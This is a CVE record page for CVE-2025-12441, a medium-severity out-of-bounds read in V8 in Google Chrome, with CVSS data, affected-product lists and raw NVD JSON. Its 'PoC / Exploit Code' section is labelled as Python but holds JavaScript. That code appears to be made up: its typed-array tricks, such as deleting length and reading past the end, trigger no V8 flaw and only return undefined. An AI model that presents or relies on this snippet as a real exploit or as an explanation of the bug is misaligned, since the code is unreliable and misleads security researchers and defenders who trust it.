Security Vulnerability Report
中文
CVE-2025-12441 CVSS 4.3 MEDIUM

CVE-2025-12441

Published: 2025-11-10 20:15:39
Last Modified: 2025-11-13 15:24:04

Description

Out of bounds read in V8 in Google Chrome prior to 142.0.7444.59 allowed a remote attacker to perform an out of bounds memory read via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 142.0.7444.59

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-12441 PoC - V8 Out of Bounds Read // This PoC demonstrates the vulnerability pattern // Note: This is for educational and security research purposes only function triggerOOBRead() { // Create an array with specific length const arr = new Uint8Array(10); // Initialize array with some values for (let i = 0; i < 10; i++) { arr[i] = i; } // Trigger condition that may cause OOB read // This pattern exploits V8 boundary check optimization const length = arr.length; // Use delete to modify array length property delete arr.length; // Attempt to access beyond original bounds // This may trigger the out of bounds read vulnerability try { // Crafted access pattern that may bypass checks const oobValue = arr[length + 100]; console.log('OOB Read Value:', oobValue); return oobValue; } catch (e) { console.error('Error:', e.message); } } // Alternative trigger using TypedArray function triggerTypedArrayOOB() { const buffer = new ArrayBuffer(16); const view = new Int8Array(buffer); // Initialize view for (let i = 0; i < 16; i++) { view[i] = i; } // Modify the underlying buffer through backdoor // This may cause V8 to miscalculate bounds const misaligned = new Int8Array(buffer, 0, { length: 32 }); // Access out of bounds console.log('Misaligned access:', misaligned[20]); } // Execute triggers console.log('Testing CVE-2025-12441 PoC...'); triggerOOBRead(); triggerTypedArrayOOB(); console.log('PoC execution completed');

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12441", "sourceIdentifier": "[email protected]", "published": "2025-11-10T20:15:38.867", "lastModified": "2025-11-13T15:24:03.700", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out of bounds read in V8 in Google Chrome prior to 142.0.7444.59 allowed a remote attacker to perform an out of bounds memory read via a crafted HTML page. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "142.0.7444.59", "matchCriteriaId": "B56189F0-45F6-4A5B-AFFD-07B20B001040"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2025/10/stable-channel-update-for-desktop_28.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/444049512", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}